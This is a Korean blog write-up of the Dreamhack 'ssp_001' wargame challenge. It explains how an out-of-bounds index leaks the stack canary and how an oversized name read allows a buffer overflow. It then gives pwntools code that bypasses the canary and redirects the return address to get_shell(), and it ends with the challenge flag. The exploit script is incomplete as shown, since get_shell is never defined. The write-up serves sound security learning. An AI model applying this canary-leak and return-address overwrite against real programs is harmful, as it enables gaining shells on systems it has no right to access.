CTF & Wargame(PWNABLE)

[dreamhack] level 2 ssp_001

KWAKBUMJUN 2025. 4. 3. 03:43

바이너리 코드 분석

get_shell() 이라는 함수가 보이는데, ret addr을 해당 함수로 덮어쓰면 셸을 획득 할 수 있을 것이다.

 

1. P를 입력하면 Element index : 라는 문구와 함께 사용자 입력을 받는다. 사용자 입력을 받으면 해당 값은 idx에 저장되고 print_box함수가 실행된다.

  • print_box() 함수에서는 idx 번째에 저장되어 있는 box 값을 출력해준다. 따라서 만약 카나리가 box와 0xAA 만큼 떨어져 있다면 idx에 0xAA를 입력하여 카나리 값을 읽어 낼 수 있을 것이다.

2. E를 입력하면 Name Size : 라는 문구가 출력되고 사용자 입력을 받는다. 사용자가 입력한 값은 name_len에 저장된다. 또 Name : 이라는 문구가 뜬 뒤에 사용자 입력을 한번 더 받는다. 해당 read 함수에서는 name_len에서 입력한 길이 만큼 입력을 받기 때문에 bof가 발생한다.

 

<취약점 정리>

P : canary leak

E : bof로 shell 획득

 

스택 프레임 구조 파악

gdb를 사용하여 

이렇게 함수들을 하나하나 살펴보며 스택 프레임 구조를 파악해보면 아래와 같은 결과를 얻을 수 있다.

buf(변수들)

- idx (ebp-0x94)

- name_len(ebp-0x90)

- select(ebp-0x8a0)

- box (ebp-0x88)

- name(ebp-0x48)

 

canary - 0x04

dummy - 0x04

sfp(ebp) - 0x04

ret - 0x04

하지만 이렇게 스택 프레임 구조를 파악하면 dummy 값이 있는 것 때문에 너무 헷갈리고 dummy의 존재를 처음엔 몰랐기에 굉장히 헤맸다. 하지만 그냥 c언어 코드만으로 스택 프레임 구조를 파악할 수 있었다.

 

c 코드에서 box[0x40], name[0x40] 이렇게 명시해주었으니,

box - 0x40

name - 0x40

canary - 0x04

sfp - 0x04

ret - 0x04

 

box <=> canary : 0x80 이라는 것을 알 수 있다.

이를 통해 카나리 값을 알아내야 하니, 

0x80 + 0x01

0x80 + 0x02

0x80 + 0x03

0x80 + 0x04

이렇게 순차적으로 카나리값을 읽으면 카라니 값을 획득 할 수 있을 것이다.

 

Exploit 코드

위와 같은 방식으로 canary값을 읽은 뒤에, 카나리 값을 알아내어 카나리를 우회하고 ret addr을 get_shell() 함수로 덮어쓰면 성공적으로 익스플로잇 할 수 있을 것이다.

 

from pwn import *

p = process('./ssp_001')
#p = remote('host3.dreamhack.games', 19648)
# [1] Leak canary
canary = ''


for i in range(4):
    p.sendafter('> ', 'P')
    p.sendlineafter('index : ',str(128+i))
    p.recvuntil('is : ')
    canary = p.recv(2).decode() + canary

canary = int(canary, 16) 

log.info('Canary : ' + hex(canary))

위의 코드를 통해 canary 값 0x65fc5400을 얻을 수 있었다.

 

그렇다면 이제 E를 선택하고 Name size에서 입력한 만큼 입력을 받기 때문에 name부터 0x40까지는 쓰레기 값으로 채우고 구한 카나리 값으로 카나리를 우회한 뒤에 sfp 또한 쓰레기 값으로 채운뒤에 ret을 get_shell로 덮어씌우면 될 것 같다.

payload = (b'A' * 64) + p32(canary) + (b'B' * 4) + (b'B' * 4) + p32(get_shell)

p.sendafter('> ', 'E')
p.sendlineafter('Size : ', '100000')
p.sendlineafter('Name : ', payload)

p.interactive()

위와 같이 익스플로잇을 진행했는데, sfp 앞에 4바이트짜리 쓰레기 값을 넣은 것은 dummy 때문이다.

 

 

flag : DH{00c609773822372daf2b7ef9adbdb824}